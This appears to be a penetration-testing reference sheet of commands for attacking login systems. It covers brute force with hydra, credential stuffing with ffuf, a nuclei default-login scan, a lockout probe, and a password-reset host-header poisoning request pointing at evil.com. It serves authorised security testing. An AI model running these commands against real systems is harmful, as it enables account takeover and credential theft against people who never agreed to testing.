<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing Authentication Vulnerabilities

## hydra — Credential Brute Force
```bash
hydra -l admin -P wordlist.txt target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"
```

## ffuf — Credential Stuffing
```bash
ffuf -u https://target.com/api/login -X POST \
  -d '{"email":"FUZZ","password":"FUZZ2"}' \
  -w emails.txt:FUZZ -w passwords.txt:FUZZ2 -mc 200
```

## nuclei — Default Credential Scan
```bash
nuclei -u https://target.com -t http/default-logins/ -severity critical,high
```

## curl — Authentication Testing
```bash
# Test account lockout
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code}" -X POST URL/login -d "user=admin&pass=wrong$i"
done

# Test password reset host header poisoning
curl -s -X POST URL/forgot-password -H "Host: evil.com" -d "email=victim@target.com"
```
